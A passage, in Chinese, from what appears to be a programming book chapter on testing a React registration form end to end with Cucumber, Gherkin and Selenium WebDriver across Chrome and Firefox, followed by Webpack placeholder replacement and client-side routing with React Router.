要在真实浏览器和设备上测试,我们可以使用一个名为Karma(karma-runner.github.io/2.0/index.html
)的不同测试运行器。
使用 Gherkin、Cucumber 和 Selenium 编写端到端测试
现在,我们准备好与可以模拟用户与浏览器交互的工具集成。对于我们的第一个测试,让我们测试一个非常简单的事情——用户将输入一个有效的电子邮件,但他们的密码太短。在这种情况下,我们想要断言注册按钮将被禁用。
就像我们的后端端到端测试一样,我们将使用 Gherkin 编写测试用例,并使用 Cucumber 运行场景。所以,让我们将这些添加为开发依赖项:
$ yarn add cucumber babel-register --dev
然后,我们需要创建功能文件和步骤定义文件。对于我们的第一个场景,我选择按照以下结构将功能和步骤分组:
$ tree --dirsfirst spec
spec
└── cucumber
├── features
│ └── users
│ └── register
│ └── main.feature
└── steps
├── assertions
│ └── index.js
├── interactions
│ ├── input.js
│ └── navigation.js
└── index.js
随意分组,只要确保功能与步骤定义分开。
添加测试脚本
尽管我们还没有编写任何测试,但我们可以简单地复制我们为 API 编写的测试脚本,并将其放置在scripts/e2e.test.sh
中:
#!/bin/bash
# Set environment variables from .env and set NODE_ENV to test
source <(dotenv-export | sed 's/\\n/\n/g')
export NODE_ENV=test
# Run our web server as a background process
yarn run serve > /dev/null 2>&1 &
# Polling to see if the server is up and running yet
TRIES=0
RETRY_LIMIT=50
RETRY_INTERVAL=0.2
SERVER_UP=false
while [ $TRIES -lt $RETRY_LIMIT ]; do
if netstat -tulpn 2>/dev/null | grep -q ":$SERVER_PORT_TEST.*LISTEN"; then
SERVER_UP=true
break
else
sleep $RETRY_INTERVAL
let TRIES=TRIES+1
fi
done
# Only run this if API server is operational
if $SERVER_UP; then
# Run the test in the background
npx dotenv cucumberjs spec/cucumber/features -- --compiler js:babel-register --require spec/cucumber/steps &
# Waits for the next job to terminate - this should be the tests
wait -n
fi
# Terminate all processes within the same process group by sending a SIGTERM signal
kill -15 0
我们脚本和后端测试脚本之间的唯一区别是这一行:
yarn run serve > /dev/null 2>&1 &
使用> /dev/null
,我们将stdout
重定向到null device
(/dev/null
),它会丢弃任何被管道传输的内容。使用2>&1
,我们将stderr
重定向到stdout
,最终也会到达/dev/null
。基本上,这一行是在说“我不关心yarn run serve
的输出,只是把它扔掉”。
我们这样做是因为,当 Selenium 在页面之间导航时,http-server
的输出将被发送到stdout
并穿插在测试结果之间,这使得阅读变得困难。
此外,别忘了安装脚本的依赖项:
$ yarn add dotenv-cli --dev
我们还需要创建一个.babelrc
文件来指导babel-register
使用env
预设:
{
"presets": [
["env", {
"targets": {
"node": "current"
}
}]
]
}
最后,更新package.json
以包含新的脚本:
"scripts": {
"build": "rm -rf dist/ && webpack",
"serve": "./scripts/serve.sh",
"test:e2e": "./scripts/e2e.test.sh"
}
指定一个功能
现在,我们准备好定义我们的第一个功能。在spec/cucumber/features/users/reigster/main.feature
中添加以下规范:
Feature: Register User
User visits the Registration Page, fills in the form, and submits
Background: Navigate to the Registration Page
When user navigates to /
Scenario: Password Too Short
When user types in "valid@ema.il" in the "#email" element
And user types in "shortpw" in the "#password" element
Then the "#register-button" element should have a "disabled" attribute
给元素添加 ID
我们将使用 Selenium 来自动化与我们的应用程序 UI 元素的交互。然而,我们必须提供某种选择器,以便 Selenium 可以选择我们想要与之交互的元素。我们可以拥有的最精确的选择器是一个id
属性。
因此,在我们使用 Selenium 之前,让我们给我们的元素添加一些 ID。打开src/components/registration-form/index.jsx
并给每个元素添加一个id
属性:
<Input label="Email" type="email" name="email" id="email" ... />
<Input label="Password" type="password" name="password" id="password" ... />
<Button title="Register" id="register-button" ... />
然后,在src/components/input/index.jsx
和src/components/button/index.jsx
中,将id
属性作为属性传递给元素。例如,Button
组件将变为:
function Button(props) {
return <button id={props.id} disabled={props.disabled}>{props.title}</button>
}
Selenium
我们现在可以开始使用 Selenium 了。Selenium 是由 Jason Huggins 在 2004 年,在 ThoughtWorks 工作时编写的。它不仅仅是一个单一的工具,而是一套工具,允许您跨多个平台自动化浏览器。我们将使用 Selenium WebDriver 的 JavaScript 绑定,但快速浏览工具套件的每个部分对我们来说是有益的:
-
Selenium 远程控制(RC),也称为 Selenium 1.0,是套件中的第一个工具,允许您自动化浏览器。它通过在页面首次加载时向浏览器注入 JavaScript 脚本来实现,这些脚本通过点击按钮和输入文本来模拟用户交互。Selenium RC 已被弃用,并由 Selenium WebDriver 取代。
-
Selenium WebDriver,也称为 Selenium 2,是 Selenium RC 的继任者,并使用标准化的 WebDriver API 来模拟用户交互。大多数浏览器都内置了对 WebDriver API 的支持,因此工具不再需要将脚本注入页面。
-
Selenium Server 允许您在远程机器上运行测试,例如在使用 Selenium Grid 时。
-
Selenium Grid 允许您将测试分布在多台机器或虚拟机(VM)上。然后,这些测试可以并行运行。如果您的测试套件很大,或者您需要在多个浏览器和/或操作系统上运行测试,那么测试执行可能需要很长时间。通过将这些测试分布在多台机器上,您可以并行运行它们,从而减少总执行时间。
-
Selenium IDE 是一个 Chrome 扩展/Firefox 插件,它提供了一个快速原型设计工具,用于构建测试脚本。本质上,它可以记录用户在页面上的操作,并将它们导出为许多语言的可重用脚本。然后,开发者可以取用这个脚本,并根据他们的需求进一步定制它。
为了测试我们的应用程序,我们将使用 Selenium WebDriver。
WebDriver API
WebDriver是一个标准化的 API,允许您检查和控制用户代理(例如,浏览器或移动应用程序)。它最初由当时在谷歌工作的工程师 Simon Stewart 在 2006 年构思。现在,它已经被万维网联盟(W3C)定义,其规范可以在www.w3.org/TR/webdriver/
找到。该文档目前处于候选推荐阶段。
与将 JavaScript 脚本注入网页并使用它们来模拟用户交互不同,Selenium WebDriver 使用 WebDriver API,大多数浏览器都支持这个 API。然而,您可能会看到在不同浏览器之间对标准的支持程度以及实现方式的差异。
虽然 API 是平台和语言中立的,但已经有许多实现。具体来说,我们将使用官方的 JavaScript 绑定,它作为 "selenium-webdriver" 包在 NPM 上提供。
使用 Selenium WebDriver
让我们从向我们的项目中添加 Selenium WebDriver JavaScript 包开始:
$ yarn add selenium-webdriver --dev
我们将使用 selenium-webdriver
来定义我们的步骤定义。
Selenium 需要一个浏览器来运行测试。这可能是一个真实的浏览器,如 Chrome,或者一个无头浏览器,如 PhantomJS。你很可能熟悉不同的真实浏览器,所以让我们花些时间来看看无头浏览器。
无头浏览器
无头浏览器是那些不在界面上渲染页面的浏览器。一个头浏览器会获取页面内容,然后下载图片、样式表、脚本等,并像真实浏览器一样处理它们。
使用无头浏览器的优点是它要快得多。这是因为浏览器没有图形用户界面 (GUI),因此不需要等待显示实际渲染输出:
-
PhantomJS (
phantomjs.org/
) 使用 WebKit 网络浏览器引擎,这与 Safari 所使用的相同。它可以说是目前最流行的无头浏览器。然而,自 2016 年中以来,其仓库的活动几乎已经停止。 -
SlimerJS (
slimerjs.org/
) 使用 Gecko 网络浏览器引擎,以及 SpiderMonkey 作为 JavaScript 引擎,这与 Firefox 相同。SlimerJS 默认不是一个无头浏览器,因为它在测试机器上使用 X11 显示服务器。然而,你可以通过与 Xvfb(即 X 虚拟帧缓冲区)集成来使用它,这是一个内存中的显示服务器,不需要显示。自 Firefox 56 版本起,你也可以通过--headless
标志启用无头模式。 -
ZombieJS (
zombie.js.org/
) 是一个无头浏览器的更快实现,因为它不使用像 PhantomJS 或 SlimerJS 这样的实际网络浏览器引擎。相反,它使用 JSDOM,这是一个 DOM 和 HTML 的纯 JavaScript 实现。然而,正因为如此,结果可能不会完全准确,或者不如针对实际网络浏览器引擎的测试那样真实。 -
HtmlUnit (
htmlunit.sourceforge.net/
) 是一个“无 GUI 浏览器,用于 Java 程序”。它使用 Rhino JavaScript 引擎,与 Selenium 一样,是用 Java 编写的。根据经验,HtmlUnit 是最快的无头浏览器,但也是最容易出现错误的。它非常适合简单的静态页面,不涉及大量 JavaScript 使用。
还有更多无头浏览器。Asad Dhamani 编制了一个列表,您可以在 github.com/dhamaniasad/HeadlessBrowsers
找到。
然而,纯无头浏览器可能很快就会成为过去式,因为许多“真实”浏览器现在都支持无头模式。以下浏览器支持无头模式:
-
Chrome 59
-
Firefox 55(在 Linux 上)和 56(在 macOS 和 Windows 上)
对于不支持这种情况的用户,我们可以使用 Xvfb 来替代 X11 显示服务器,并在 CI 服务器上运行真实浏览器。然而,这将失去运行无头浏览器的性能优势。
浏览器驱动程序
Selenium WebDriver 支持许多浏览器,包括真实和无头浏览器,每个浏览器都需要实现 WebDriver 的特定浏览器线协议的驱动程序。
对于真实浏览器:
-
Chrome 和 Android 上的 Chrome 使用 ChromeDriver (
sites.google.com/a/chromium.org/chromedriver/
),由 Chromium 项目本身维护 -
Firefox 使用 geckodriver (
github.com/mozilla/geckodriver/
) -
Internet Explorer 使用 Internet Explorer Driver
-
Edge 使用 Microsoft WebDriver (
developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/
) -
Safari 使用 SafariDriver (
webkit.org/blog/6900/webdriver-support-in-safari-10/
) -
Opera 使用 Opera Driver
-
iOS(原生、混合或移动 Web 应用程序)使用 ios-driver (
ios-driver.github.io/ios-driver/
) -
Android(原生、混合或移动 Web 应用程序)使用 Selendroid
对于无头浏览器:
-
HtmlUnit 使用 HtmlUnitDriver (
github.com/SeleniumHQ/htmlunit-driver
) -
PhantomJS 使用 GhostDriver (
github.com/detro/ghostdriver
)
设置和销毁
在我们可以运行任何测试之前,我们必须告诉 Selenium 要使用哪个浏览器。Chrome 目前是使用最广泛的浏览器,因此我们将从使用 ChromeDriver 开始。让我们来安装它:
$ yarn add chromedriver --dev
现在,在 spec/cucumber/steps/index.js
中,定义在每次场景之前运行的 Before
和 After
钩子:
import { After, Before } from 'cucumber';
import webdriver from 'selenium-webdriver';
Before(function () {
this.driver = new webdriver.Builder()
.forBrowser("chrome")
.build();
return this.driver;
});
After(function () {
this.driver.quit();
});
在 Before
钩子中,我们正在创建驱动程序的新实例。驱动程序类似于用户会话,一个会话可以打开多个窗口(就像你可以在同一时间打开多个标签页一样)。
webdriver.Builder
构造函数返回一个实现 ThenableWebDriver
接口的实例,这允许我们通过链式调用方法来指定驱动程序的参数。一些常用方法包括以下内容:
-
forBrowser
:指定要使用的浏览器。 -
withCapabilities
:将参数传递给浏览器命令。稍后我们将使用它以无头模式运行 Chrome。
一旦设置了参数,使用 build
方法终止链式调用,以返回驱动程序的实例。
在After
钩子中,我们使用quit
方法来释放驱动。这将关闭所有窗口并结束会话。
我们将驱动实例存储在 Cucumber 的世界(上下文)中,以便其他步骤可以使用。
实现步骤定义
接下来,我们需要实现步骤定义。
导航到页面
现在一切准备就绪,让我们实现我们的第一个步骤,即When user navigates to /
。导航可以通过在驱动对象上使用.get
方法来完成:
import { Given, When, Then } from 'cucumber';
When(/^user navigates to ([\w-_\/?=:#]+)$/, function (location) {
return this.driver.get(`http://${process.env.SERVER_HOST_TEST}:${process.env.SERVER_PORT_TEST}${location}`);
});
此步骤从环境变量中获取服务器主机和端口。this.driver.get
返回一个承诺,该承诺被返回。Cucumber 将在移动到下一个步骤之前等待此承诺解决或拒绝。
输入到输入框中
这是我们的下一个步骤:
When user types in "valid@ema.il" in the "#email" element
这涉及到找到具有id
为email
的元素,然后向其发送按键事件。在spec/cucumber/steps/interactions/input.js
中添加以下步骤定义:
import { Given, When, Then } from 'cucumber';
import { By } from 'selenium-webdriver';
When(/^user types in (?:"|')(.+)(?:"|') in the (?:"|')([\.#\w]+)(?:"|') element$/, async function (text, selector) {
this.element = await this.driver.findElement(By.css(selector));
return this.element.sendKeys(text);
});
这里,driver.findElement
返回一个WebElementPromise
实例。我们使用async
/await
语法来避免回调地狱或深度链式承诺。相同的步骤定义将适用于我们的下一个步骤,即在#password
输入元素中输入一个简短的密码。
断言结果
最后一步是执行以下操作:
Then the "#register-button" element should have a "disabled" attribute
如前所述,我们需要找到元素,但这次读取其disabled
属性并断言它设置为"true"
。
HTML 的content
属性始终是一个字符串,即使你期望它是布尔值或数字。
在spec/cucumber/steps/assertions/index.js
中添加以下内容:
import assert from 'assert';
import { Given, When, Then } from 'cucumber';
import { By } from 'selenium-webdriver';
When(/^the (?:"|')([\.#\w-]+)(?:"|') element should have a (?:"|')([\w_-]+)(?:"|') attribute$/, async function (selector, attributeName) {
const element = await this.driver.findElement(By.css(selector));
const attributeValue = await element.getAttribute(attributeName);
assert.equal(attributeValue, 'true');
});
这里,我们使用getAttribute
方法从WebElement
实例中获取disabled
属性值。同样,这是一个异步操作,所以我们使用async
/await
语法来保持代码整洁。
如果你有时间,阅读官方文档总是一个好主意。selenium-webdriver
中所有类和方法的 API 可以在seleniumhq.github.io/selenium/docs/api/javascript/module/selenium-webdriver/
找到。
运行测试
现在,我们已经准备好运行测试:
$ yarn run test:e2e
这将运行./scripts/e2e.test.sh
脚本,该脚本将使用 Webpack 构建项目(这可能需要一些时间)。然后,一个 Google Chrome 浏览器将弹出,你会看到输入字段被自动填充了我们指定的文本。Selenium 执行完所有必要的操作后,我们 After 钩子中的driver.quit()
方法调用将关闭浏览器,并将结果显示在我们的终端中:
......
1 scenario (1 passed)
4 steps (4 passed)
0m02.663s
添加多个测试浏览器
使用 Selenium 的最大好处是你可以使用相同的测试来测试多个浏览器。如果我们只对单个浏览器感兴趣,比如 Chrome,那么使用 Puppeteer 会更好。所以,让我们将 Firefox 添加到我们的测试中。
Firefox,就像 Chrome 一样,需要一个驱动程序才能工作。Firefox 的驱动程序是geckodriver
,它使用Marionette代理向 Firefox 发送指令(Marionette 类似于 Chrome 的 DevTools 协议):
$ yarn add geckodriver --dev
现在,我们只需要将forBrowser
调用更改为使用"firefox"
:
this.driver = new webdriver.Builder()
.forBrowser("firefox")
.build();
当我们再次运行测试时,将使用 Firefox 而不是 Chrome。
然而,而不是在我们的代码中硬编码浏览器,让我们更新我们的脚本来允许我们指定我们想要测试的浏览器。我们可以通过将参数传递到 shell 脚本中来实现这一点。例如,如果我们执行以下操作:
$ yarn run test:e2e -- chrome firefox
然后,在我们的scripts/e2e.test.sh
中,我们可以使用$1
来访问第一个参数(chrome
),$2
来访问firefox
,依此类推。或者,我们可以使用特殊的参数"$@"
,它是一个类似于数组的结构,包含所有参数。在scripts/e2e.test.sh
中,将测试块更改为以下内容:
if $SERVER_UP; then
for browser in "$@"; do
export TEST_BROWSER="$browser"
echo -e "\n---------- $TEST_BROWSER test start ----------"
npx dotenv cucumberjs spec/cucumber/features -- --compiler js:babel-register --require spec/cucumber/steps
echo -e "----------- $TEST_BROWSER test end -----------\n"
done
else
>&2 echo "Web server failed to start"
fi
这将遍历我们的浏览器列表,export
它到TEST_BROWSER
变量中,并运行我们的测试。然后,在spec/cucumber/steps/index.js
中的forBrowser
调用中,传递来自process.env
的浏览器名称而不是硬编码它:
this.driver = new webdriver.Builder()
.forBrowser(process.env.TEST_BROWSER || "chrome")
.build();
现在,尝试使用$ yarn run test:e2e -- chrome firefox
运行它,你应该看到我们的测试首先在 Chrome 上运行,然后是 Firefox,然后结果整洁地显示在标准输出中:
$ yarn run test:e2e
---------- chrome test start ----------
......
1 scenario (1 passed)
4 steps (4 passed)
0m01.899s
----------- chrome test end -----------
---------- firefox test start ----------
......
1 scenario (1 passed)
4 steps (4 passed)
0m03.258s
----------- firefox test end -----------
最后,我们应该定义 NPM 脚本来让其他开发者清楚地知道我们可以运行的操作。通过将其添加为 NPM 脚本,用户只需要查看package.json
,而不必研究 shell 脚本以了解它是如何工作的。因此,在package.json
的scripts
部分,将我们的test:e2e
更改为以下内容:
"test:e2e": "yarn run test:e2e:all",
"test:e2e:all": "yarn run test:e2e:chrome firefox",
"test:e2e:chrome": "./scripts/e2e.test.sh chrome",
"test:e2e:firefox": "./scripts/e2e.test.sh firefox"
我们现在已经成功编写并运行了我们的第一个测试。接下来,让我们通过涵盖所有无效情况来使我们的场景更加通用:
Scenario Outline: Invalid Input
Tests that the 'Register' button is disabled when either input elements contain invalid values
When user types in "<email>" in the "#email" element
And user types in "<password>" in the "#password" element
Then the "#register-button" element should have a "disabled" attribute
Examples:
| testCase | email | password |
| Both Invalid | invalid-email | shortpw |
| Invalid Email | invalid-email | abcd1234qwerty |
| Short Password | valid@ema.il | shortpw |
运行我们的后端 API
接下来,我们需要处理一个快乐的路径场景,其中用户填写了有效详细信息并点击了注册按钮。
在这里,我们将编写一个测试,说明“当用户提交有效详细信息后,在收到服务器响应后,UI 将显示成功消息”。这个功能尚未实现,这意味着这将是我们前端 TDD 的第一步!
使用 Webpack 进行动态字符串替换
在我们可以使用 API 后端进行端到端测试之前,我们必须进行一项小的改进。目前,我们正在硬编码生产 API 端点的 URL(localhost:8080
),尽管在测试期间将使用测试 URL(localhost:8888
)。因此,我们需要用一个占位符来替换它,我们可以在构建时覆盖这个占位符。
首先,在src/components/registration-form/index.jsx
中,替换以下行:
const request = new Request('http://localhost:8080/users/', {})
使用这个:
const request = new Request('http://%%API_SERVER_HOST%%:%%API_SERVER_PORT%%/users/', {})
我们使用%%
来标记我们的占位符,因为它是一个相对不常见的字符序列。你可以选择任何你喜欢的占位符语法。
接下来,我们需要添加一个新的加载器来在构建时替换此占位符。string-replace-loader
完美地符合要求。让我们安装它:
yarn add string-replace-loader --dev
然后,在 .env
和 .env.example
中添加不同环境的 API 主机和端口的详细信息:
API_SERVER_PORT_TEST=8888
API_SERVER_HOST_TEST=localhost
API_SERVER_PORT_PROD=8080
API_SERVER_HOST_PROD=localhost
然后,在 webpack.config.js
中使用插件。我们希望加载器转换所有 .js
和 .jsx
文件,因此我们可以使用与 babel-loader
相同的规则:
...
if (process.env.NODE_ENV === 'test') {
process.env.API_SERVER_HOST = process.env.API_SERVER_HOST_TEST;
process.env.API_SERVER_PORT = process.env.API_SERVER_PORT_TEST;
} else {
process.env.API_SERVER_HOST = process.env.API_SERVER_HOST_PROD;
process.env.API_SERVER_PORT = process.env.API_SERVER_PORT_PROD;
}
module.exports = {
entry: { ... },
output: { ... },
module: {
rules: [
{
test: /\.jsx?$/,
exclude: /node_modules/,
use: [
{
loader: "babel-loader",
options: { ... }
},
{
loader: 'string-replace-loader',
options: {
multiple: [
{ search: '%%API_SERVER_HOST%%', replace: process.env.API_SERVER_HOST, flags: 'g' },
{ search: '%%API_SERVER_PORT%%', replace: process.env.API_SERVER_PORT, flags: 'g' }
]
}
}
]
}
]
},
plugins: [...]
};
在顶部,我们正在检查 NODE_ENV
环境变量,并使用它来确定 API 正在使用哪个端口。然后,在我们的加载器选项中,我们指示它对字符串进行全局正则表达式搜索,并将其替换为动态生成的宿主和端口。
从子模块中提供 API 服务
当我们运行测试时,我们想确保我们的后端 API 正在使用设置为 test
的 NODE_ENV
环境变量运行。目前,我们正在手动执行此操作。然而,将其作为测试脚本的一部分添加更为理想。就像我们为 Swagger UI 所做的那样,我们可以使用 Git 子模块将 Hobnob API 仓库包含在客户端仓库中,而不重复代码:
git submodule add git@github.com:d4nyll/hobnob.git api
现在,为了简化后续操作,将以下 NPM 脚本添加到 package.json
中:
"api:init": "git submodule update --init",
"api:install": "yarn install --cwd api",
"api:serve": "yarn --cwd api run build && dotenv -e api/.env.example node api/dist/index.js",
"api:update": "git submodule update --init --remote",
api:init
将使用存储的提交哈希下载 Hobnob API 仓库。api:install
使用 --cwd
在运行 yarn install
之前更改目录到 api
目录。api:serve
首先运行我们的 API 仓库中的 build
脚本,加载环境变量,然后运行 API 服务器。api:update
将下载并更新 API 仓库到同一分支的最新提交。
最后,在 scripts/e2e.test.sh
中运行 NPM 脚本:
...
export NODE_ENV=test
yarn run api:init > /dev/null 2>&1 &
yarn run api:install > /dev/null 2>&1 &
yarn run api:serve > /dev/null 2>&1 &
yarn run serve > /dev/null 2>&1 &
...
定义愉快的场景
让我们通过编写功能文件来开始定义我们的愉快场景:
Scenario: Valid Input
Tests that the 'Register' button is enabled when valid values are provided, and that upon successful registration, the UI display will display the message "You've been registered successfully"
When user types in a valid email in the "#email" element
And user types in a valid password in the "#password" element
Then the "#register-button" element should not have a "disabled" attribute
When user clicks on the "#register-button" element
Then the "#registration-success" element should appear within 2000 milliseconds
生成随机数据
在这个场景中,我们不能硬编码一个单独的电子邮件来测试,因为这可能导致一个 409 冲突
错误,因为已经存在具有该电子邮件的账户。因此,每次运行测试时,我们需要生成一个随机电子邮件。我们需要定义一个新的步骤定义,其中数据每次都是随机生成的:
When(/^user types in an? (in)?valid (\w+) in the (?:"|')([\.#\w-]+)(?:"|') element$/, async function (invalid, type, selector) {
const textToInput = generateSampleData(type, !invalid);
this.element = await this.driver.findElement(By.css(selector));
return this.element.sendKeys(textToInput);
});
在这里,我们创建一个通用的步骤定义,并使用尚未定义的 generateSampleData
函数来提供随机数据。我们将在 spec/cucumber/steps/utils/index.js
的新文件中定义 generateSampleData
函数,就像我们在后端测试中所做的那样,使用 chance
包来生成随机数据。
首先,安装 chance
包:
$ yarn add chance --dev
然后按照以下方式定义 generateSampleData
:
import Chance from 'chance';
const chance = new Chance();
function generateSampleData (type, valid = true) {
switch (type) {
case 'email':
return valid ? chance.email() : chance.string()
break;
case 'password':
return valid ? chance.string({ length: 13 }) : chance.string({ length: 5 });
break;
default:
throw new Error('Unsupported data type')
break;
}
}
export {
generateSampleData,
}
使步骤定义更通用
此场景检查 disabled
属性,就像之前一样,但这次测试它没有被设置。因此,更新我们的步骤定义在 spec/cucumber/steps/assertions/index.js
中,以考虑这一点:
When(/^the (?:"|')([\.#\w-]+)(?:"|') element should( not)? have a (?:"|')([\w_-]+)(?:"|') attribute$/, async function (selector, negation, attributeName) {
const element = await this.driver.findElement(By.css(selector));
const attributeValue = await element.getAttribute(attributeName);
const expectedValue = negation ? null : 'true';
assert.equal(attributeValue, expectedValue);
});
点击
最后两个步骤是 WebDriver 点击注册按钮并等待服务器响应。对于点击步骤,我们只需要找到 WebElement
实例并调用它的 click
方法。在 spec/cucumber/steps/interactions/element.js
中定义以下步骤定义:
import { Given, When, Then } from 'cucumber';
import { By } from 'selenium-webdriver';
When(/^user clicks on the (?:"|')([\.#\w-]+)(?:"|') element$/, async function (selector) {
const element = await this.driver.findElement(By.css(selector));
return element.click();
});
等待
最后一步需要我们等待 API 服务器对我们的请求做出响应,之后我们应该显示一个成功消息。
一种简单但非常常见的方法是在进行断言之前等待几秒钟。然而,这有两个缺点:
-
如果设置的时间太短,可能会导致测试不稳定,即在某些实例上通过,在其他实例上失败。
-
如果设置的时间太长,它会延长测试持续时间。在实践中,长时间的测试意味着测试运行得较少,对开发者提供反馈的作用也较小。
幸运的是,Selenium 提供了 driver.wait
方法,它具有以下签名:
driver.wait(<condition>, <timeout>, <message>)
condition
可以是一个 Condition
实例、一个函数或一个类似承诺的 thenable。driver.wait
将重复评估 condition
的值,直到它返回一个真值。如果 condition
是一个承诺,它将等待承诺解决并检查解决值是否为真。timeout
是 driver.wait
将尝试的时间(以毫秒为单位)。
在 spec/cucumber/steps/assertions/index.js
中,添加以下步骤定义:
import chai, { expect } from 'chai';
import chaiAsPromised from 'chai-as-promised';
import { By, until } from 'selenium-webdriver';
chai.use(chaiAsPromised);
Then(/^the (?:"|')([\.#\w-]+)(?:"|') element should appear within (\d+) milliseconds$/, function (selector, timeout) {
return expect(this.driver.wait(until.elementLocated(By.css(selector)), timeout)).to.be.fulfilled;
});
我们使用 until.elementLocated
作为条件,如果元素被定位,它将解析为真值。我们还使用 chai
和 chai-as-promised
作为我们的断言库(而不是 assert
);它们为我们提供了 expect
和 .to.be.fulfilled
语法,这使得涉及承诺的测试更加易于阅读。
运行测试,最后一步应该失败。这是因为我们还没有实现 #registration-success
元素:
---------- firefox test start ----------
........................F.
Failures:
1) Scenario: Valid Input # spec/cucumber/features/users/register/main.feature:24
Before # spec/cucumber/steps/index.js:5
When user navigates to / # spec/cucumber/steps/interactions/navigation.js:3
When user types in a valid email in the "#email" element # spec/cucumber/steps/interactions/input.js:10
And user types in a valid password in the "#password" element # spec/cucumber/steps/interactions/input.js:10
Then the "#register-button" element should not have a "disabled" attribute # spec/cucumber/steps/assertions/index.js:9
When user clicks on the "#register-button" element # spec/cucumber/steps/interactions/element.js:4
Then the "#registration-success" element should appear within 2000 milliseconds # spec/cucumber/steps/assertions/index.js:16
AssertionError: expected promise to be fulfilled but it was rejected with 'TimeoutError: Waiting for element to be located By(css selector, #registration-success)\nWait timed out after 2002ms'
After # spec/cucumber/steps/index.js:12
4 scenarios (1 failed, 3 passed)
18 steps (1 failed, 17 passed)
0m10.403s
----------- firefox test end -----------
根据状态渲染组件
为了能够在合适的时间显示 #registration-success
元素,我们必须将我们请求的结果存储在我们的状态中。目前,在我们的 RegistrationForm
组件中,我们只是在控制台记录结果:
fetch(request)
.then(response => {
if (response.status === 201) {
return response.text();
} else {
throw new Error('Error creating new user');
}
})
.then(console.log)
.catch(console.log)
相反,当服务器响应新用户的 ID 时,我们将它存储在状态下的 userId
属性中:
fetch(request)
.then(response => { ... })
.then(userId => this.setState({ userId }))
.catch(console.error)
此外,请确保你在类的构造函数中将 userId
的初始状态设置为 null
:
constructor(props) {
super(props);
this.state = {
userId: null,
...
};
}
然后,在我们的 render
方法中,检查 userId
状态是否为真,如果是,则显示一个 ID 为 registration-success
的元素,而不是表单:
render() {
if(this.state.userId) {
return <div id="registration-success">You have registered successfully</div>
}
...
}
再次运行我们的测试,它们应该再次通过!
使用 React Router 进行路由
接下来,我们将开发登录页面。这需要我们为每个页面使用不同的路径。例如,注册页面可以在 /register
路径下提供服务,而登录页面在 /login
路径下。为此,我们需要一个路由器。在服务器上,我们使用 Express 来路由击中我们的 API 的请求;对于前端,我们需要一个客户端路由器来完成同样的工作。在 React 生态系统中,最成熟的路由器是 React Router。让我们安装它:
$ yarn add react-router react-router-dom
react-router
提供核心功能,而 react-router-dom
允许我们在网页上使用 React Router。这类似于 React 在网页上被分为 react
和 react-dom
。
基础知识
如前所述,React 中的所有内容都是组件。React Router 也不例外。React Router 提供了一套导航组件,这些组件将从 URL、视口和设备信息中收集数据,以便显示适当的组件。
React Router 中有三种类型的组件:
-
路由组件
-
路由匹配组件
-
导航组件
路由器
路由组件是我们应用的包装器。路由组件负责保持路由的历史记录,以便你可以“返回”到上一个屏幕。有两个路由组件 —— <BrowserRouter>
和 <HashRouter>
。<HashRouter>
仅用于服务静态文件;因此,我们将使用 <BrowserRouter>
组件。
在 src/index.jsx
中,用我们的 BrowserRouter
组件包裹我们的根组件(目前是 <RegistrationForm />
):
import React from 'react';
import ReactDOM from 'react-dom';
import { BrowserRouter } from 'react-router-dom';
import RegistrationForm from './components/registration-form/index.jsx';
ReactDOM.render((
<BrowserRouter>
<RegistrationForm />
</BrowserRouter>
), document.getElementById('renderTarget'));
路由匹配
目前,如果你提供应用程序,没有什么变化——我们只是将我们的应用包裹在 BrowserRouter
中,这样我们就可以在 <BrowserRouter>
内定义路由匹配组件。假设我们只想在路由是 /register
时渲染 <RegistrationForm>
组件,我们可以使用一个 <Route>
组件:
...
import { BrowserRouter, Route } from 'react-router-dom';
ReactDOM.render((
<BrowserRouter>
<Route exact path="/register" component={RegistrationForm} />
</BrowserRouter>
), document.getElementById('renderTarget'));
<Route>
组件通常使用两个属性 —— path
和 component
。如果一个 <Route>
组件有一个 path
属性与当前 URL 的路径名匹配(例如 window.location.pathname
),则 component
属性中指定的组件将被渲染。
匹配是以包含的方式进行的。例如,路径名 /register/user
、/register/admin
和 register
都会匹配路径 /register
。然而,对于我们的用例,我们希望此元素仅在路径完全匹配时显示,因此我们使用了 exact
属性。
在进行更改后,让我们再次提供应用程序。
支持历史 API
但当我们访问 http://localhost:8200/register
时,我们得到一个 404 Not Found
响应。从终端中,我们可以看到这是因为请求由 http-server
处理,而不是我们的应用程序:
"GET /register" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
"GET /register" Error (404): "Not found"
这是有意义的,因为 http-server
是一个非常简单的 静态 服务器,而我们需要在客户端 动态 执行路由。因此,我们需要使用支持此功能的服务器。pushstate-server
是一个静态服务器,它也支持 HTML5 历史 API。让我们安装它:
$ yarn add pushstate-server --dev
现在,在 scripts/serve.sh
中,将 http-server
行替换为以下内容:
pushstate-server dist/ $WEB_SERVER_PORT_TEST
当我们运行 yarn run serve
并导航到 localhost:8200/register
时,一切如预期工作!
最后,更新我们的 Cucumber 测试功能文件,以便测试导航到正确的页面:
- When user navigates to /
+ When user navigates to /register
导航
React Router 提供的最后重要的组件类是导航组件,共有三种类型:
-
<Link>
:这将渲染一个锚点 (<a>
) 组件,例如,<Link to='/'>Home</Link>
-
<NavLink>
:这是一种特殊的<Link>
类型,如果路径名与to
属性匹配,它将向元素添加一个类,例如,<NavLink to='/profile' activeClassName='active'>Profile</NavLink>
-
<Redirect>
:这是一个将导航到to
属性的组件,例如,<Redirect to='/login'/>
因此,我们可以更新我们的 #registration-success
元素,以包含指向主页和登录页面的链接(我们尚未实现!):
import { Link } from 'react-router-dom';
...
class RegistrationForm extends React.Component {
render() {
...
<div id="registration-success">
<h1>You have registered successfully!</h1>
<p>Where do you want to go next?</p>
<Link to='/'><Button title="Home"></Button></Link>
<Link to='/login'><Button title="Login"></Button></Link>
</div>
}
}
TDD
当我们开发注册页面时,我们在编写测试之前实现了功能。我们这样做是因为我们不知道 E2E 测试在 React 中是如何工作的。现在我们知道了,是时候实施一个合适的 TDD 流程了。
要实现 TDD,我们应该查看 UI 的设计,确定测试需要与之交互的关键元素,并为每个元素分配一个唯一的 id
。这些 id
然后形成我们测试和实现之间的契约。
例如,如果我们使用 TDD 开发了注册页面,我们首先将输入分配给 #email
、#password
和 #register-button
这些 ID,并使用这些 ID 编写测试代码来选择元素。然后,当我们实现功能时,我们将确保使用测试中指定的相同 ID。
通过使用 id
字段,我们可以更改实现细节,但保持测试不变。想象一下,如果我们使用了不同的选择器,比如说,form > input[name="email"]
;那么,如果我们向 <form>
